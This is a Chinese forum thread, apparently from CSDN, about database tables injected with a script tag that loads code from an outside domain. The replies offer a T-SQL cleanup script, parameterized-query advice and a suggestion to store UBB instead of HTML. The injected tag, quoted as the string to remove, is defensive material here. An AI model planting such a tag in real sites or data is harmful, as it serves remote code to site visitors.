数据库表中被注入 <script src="http://a.ll8cc.cn"></script>寻求帮助

解决方案 »

  1.   

    先清理,再找找漏洞
    用下面方法之前,一定要做一个完全备份,以防万一.
    declare @delStr nvarchar(500) 
    set @delStr='<script src="http://a.ll8cc.cn"> </script>' //注意要完全匹配,包括空格set nocount on 
    declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int 
    declare @sql nvarchar(500) 
    set @iResult=0 
    declare cur cursor for 
    select name,id from sysobjects where xtype='U' 
    open cur 
    fetch next from cur into @tableName,@tbID 
    while @@fetch_status=0 
    begin 
      declare cur1 cursor for 
            --xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型 
            select name from syscolumns where xtype in (231,167,239,175) and id=@tbID 
      open cur1 
      fetch next from cur1 into @columnName 
      while @@fetch_status=0 
      begin 
          set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''      
          exec sp_executesql @sql      
          set @iRow=@@rowcount 
          set @iResult=@iResult+@iRow 
          if @iRow>0 
          begin 
        print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;' 
          end      
          fetch next from cur1 into @columnName   end 
      close cur1 
      deallocate cur1 
      
      fetch next from cur into @tableName,@tbID 
    end 
    print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!' 
    close cur 
    deallocate cur 
    set nocount off 
    将以上代码放查询分析器执行即可,可以清理数据库中所有含有那语句的字段
      

  2.   

    操作数据库参数化
    http://topic.csdn.net/u/20090729/14/26381958-0d6e-4b90-bc90-d275e9621f93.html
      

  3.   

    http://topic.csdn.net/u/20100126/10/18498fc6-be21-474d-b179-e6e9e8626f64.html
      

  4.   

    网数据库里存UBB吧,别存html,这样能有效防止<script>的注入